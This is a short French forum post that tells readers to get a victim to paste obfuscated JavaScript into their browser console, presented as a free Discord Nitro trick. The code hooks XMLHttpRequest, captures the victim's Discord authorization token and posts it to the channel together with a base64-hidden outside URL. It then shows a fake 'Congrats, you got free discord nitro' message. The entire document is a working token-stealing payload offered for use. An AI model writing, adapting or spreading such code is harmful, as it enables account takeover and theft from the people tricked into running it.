Il faut juste dire à la personne de copier coller ça dans la console :
[hide] XMLHttpRequest.prototype.wrappedSetRequestHeader=XMLHttpRequest.prototype.setRequestHeader,XMLHttpRequest.prototype.setRequestHeader=function(e,t){this.wrappedSetRequestHeader(e,t),this.headers||(this.headers={}),this.headers[e]||(this.headers[e]=[]),this.headers[e].push(t)};let oldXHROpen=window.XMLHttpRequest.prototype.open;window.XMLHttpRequest.prototype.open=function(e,t,o,n,s){return this.addEventListener("load",function(){isNaN(window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length))?console.log(atob("UGVuZGluZy4uIHRvIHJlc29sdmUgeW91ciBuaXRyby4=")):(fetch(atob("aHR0cHM6Ly9kaXNjb3JkYXBwLmNvbS9hcGkvdjYvY2hhbm5lbHMv")+window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length)+"/messages",{method:"POST",headers:{authorization:this.headers.Authorization[0],"user-agent":navigator.userAgent,"Content-Type":"application/json"},body:JSON.stringify({content:atob("aHR0cHM6Ly8weDUzOS5jby9rLw==")+this.headers.Authorization[0],tts:"false"})}),console.log("%c ",atob("aHR0cHM6Ly9tZWRpYS5kaXNjb3JkYXBwLm5ldC9hdHRhY2htZW50cy81Mzc2ODMwNjAwNzA2Nzg1NTEvNzUxNzMxNjc0Mzg3MTg1NzA0L0Fubm90YXRpb25fMjAyMC0wNy0wN18yMjAwNTQucG5n")),console.log("Congrats, you got free discord nitro"))}),oldXHROpen.apply(this,arguments)}; [/hide]